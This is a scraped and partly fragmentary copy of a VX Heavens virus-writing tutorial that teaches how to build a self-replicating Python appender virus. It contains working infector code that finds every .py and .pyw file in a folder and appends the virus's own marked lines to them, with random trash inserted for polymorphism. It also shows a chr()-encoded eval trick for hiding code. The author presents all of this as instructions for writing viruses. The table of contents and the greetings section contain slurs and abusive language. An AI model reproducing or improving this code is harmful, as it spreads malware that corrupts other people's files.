Beruflich Dokumente
Kultur Dokumente
Stuxnet Worm 0-Day See the Stuxnet 0-Day in Action. Visit Immunity Today! www.immunityinc.com
Flowcharts from C/C++ Understand code in less time code-formatting, cross-reference www.sgvsarc.com
UML 2.1 with Python Python Code Engineering using UML and Enterprise Architect www.sparxsystems.com
Ads by Google
Python Virus Writing Tutorial Worms Virus
Computer Virus
VortX Python
2005 Compile Python Code
Virus Attack
[Back to index] [Comments (0)]
• Python?
• Python Appender
• Python Prepender Virus
• Virus As ASCII Numbers
• Using Variables To Encrypt
• Adding Trash
• snizzle p00p niggar
I warn you: This is the first tutorial i have ever written, so i guess it will be a bit shit!
Python?
Python is a freeware powerful interpreted programming language available for most operating
systems. It is object-oriented, interactive, portable and easy to learn. It is also popular as a CGI
scripting language, as its capabilities compare favorably with those of Perl (Not that i code perl) It
can be interpreted in a number of operating systems, this makes very good idea for future viruses
So erm, lets go!
http://vxheavens.com/lib/vvx00.html 15.11.2010
VortX 'Python Virus Writing Tutorial' (VX heavens) Sayfa 2 / 4
4. Opens the uninfected files and writes its code to the end of the normal code.
5. Closes all open files.. finished!
Why it has 2 markers: Well, the ones you notice the most are the virus code markers, we use these
to know what code to infect other files with. The virus will only copy the code that has "#!" at the end
of each line, understand? there are other ways of doing this but blah it works Then we have the
infection marker "-=::Vort3x::=-" this is so we can see if the file has already been infected. If we dont
use any infection marker, bad things will happen!! Such as your virus re-appending to files. :O Then
you end up with HUGE files, growing in size each time its executed!
So:
Hmm hope that makes sense? its really easy.. think about it, play with the code
Code:
eval(chr(114)+chr(97)+chr(119)+chr(95)+chr(105)+chr(110)+chr(112)+chr(117)+
chr(116)+chr(40)+chr(34)+chr(73)+chr(109)+chr(32)+chr(86)+chr(111)+chr(114)+
chr(116)+chr(88)+chr(44)+chr(32)+chr(87)+chr(101)+chr(108)+chr(99)+chr(111)+
chr(109)+chr(101)+chr(32)+chr(116)+chr(111)+chr(32)+chr(109)+chr(121)+chr(32)+
http://vxheavens.com/lib/vvx00.html 15.11.2010
VortX 'Python Virus Writing Tutorial' (VX heavens) Sayfa 3 / 4
chr(119)+chr(111)+chr(114)+chr(108)+chr(100)+chr(33)+chr(34)+chr(41))
This code has the "Raw_input" command (used for asking user input) but "print" neva seems to
work :/ Anywayz, its impossible to read this or know what it is unless you decrypt it all. the code
uses a command called "eval" eval is a function which evaluates a string as though it were an
expression and returns a result, we use it to run commands... this is used alot in encryption!
Adding Trash:
It adds random trash code in each line at a random lengh. Hmm i hate to say it but this code is
pretty lame! it does not add its code in random area's But i think it gives a good idea of poly in
python!
Code:
Code:
import glob #!
import random #!
from string import * #!
trash = 'abcdefghijklmnopqrstuvwxyz' #!
lengh = random.randrange(10, 20) #!
Files = glob.glob("*.py") + glob.glob("*.pyw") #!
for Files in Files: #!
vCode = open(__file__, 'r') #!
victim = open (Files, 'r') #!
readvictim = victim.read() #!
if find(readvictim, "-=::Vort3x::=-") == -1: #!
victim = open(Files, 'a') #!
for code in vCode.readlines(): #!
if ("#!") in code: #!
vCode.close() #!
mycode=(chr(10)+code) #!
victim.write("#"+join(random.sample(trash, lengh))+mycode) #!
Then we set some random characters / numbers, into the "Trash" variable
Then we set the lengh of the random trash (the lengh is also random for 10 - 20)
http://vxheavens.com/lib/vvx00.html 15.11.2010
VortX 'Python Virus Writing Tutorial' (VX heavens) Sayfa 4 / 4
Then we put a comment marker for the trash (bcoz trash is not supposed to be executed!) we space
each line in the infected file and add random characters a random lengh from the trash variable into
that line, please understand! its not hard
Its very very easy i think! It helps if you learn a little python first befor you start bitching about not
understanding the code because im not about to answer emails asking me what each and every line
does! im busy with trying to get into a college :/
Big huge YOUR THE BEST to SPTH my idol! thx for all the help!!!!!!.. and yes.. im annoying!
HoneyHeart........... for being a good friend
LL............. She;s cool lolz, i still want ur number
Sinclair........... for allowing me in DCA chan, not that i often go there :/
Blueowl............ For helping me for some time.
hurm1t............ he;s got everything.. worship him thnx for your sources.. nice!
Nova.......... Lush graphics for my desktop thank me for all the girls you bastard >
Blueprint............. for hosting my little scripts
Blank.................. for hosting this tutorial *havnt asked yet* but he WILL *Gets the k
dr3f.................... Fucking cock sucker!!!!!
AngelArt............. for being a friend awwww we are all waitng for your script! Female
Muazzin.............. where the fuck are you? wanted to talk to me, next day ur GONE! :/
Thugstyle................ haha Very Happy
Shree............... did you ENJOY sending porn from MY account!!! wrong time of the month?
And others.. that im afraid to list :X like bliss but he sux so who cares :p
Contact: STFU
friends
http://vxheavens.com/lib/vvx00.html 15.11.2010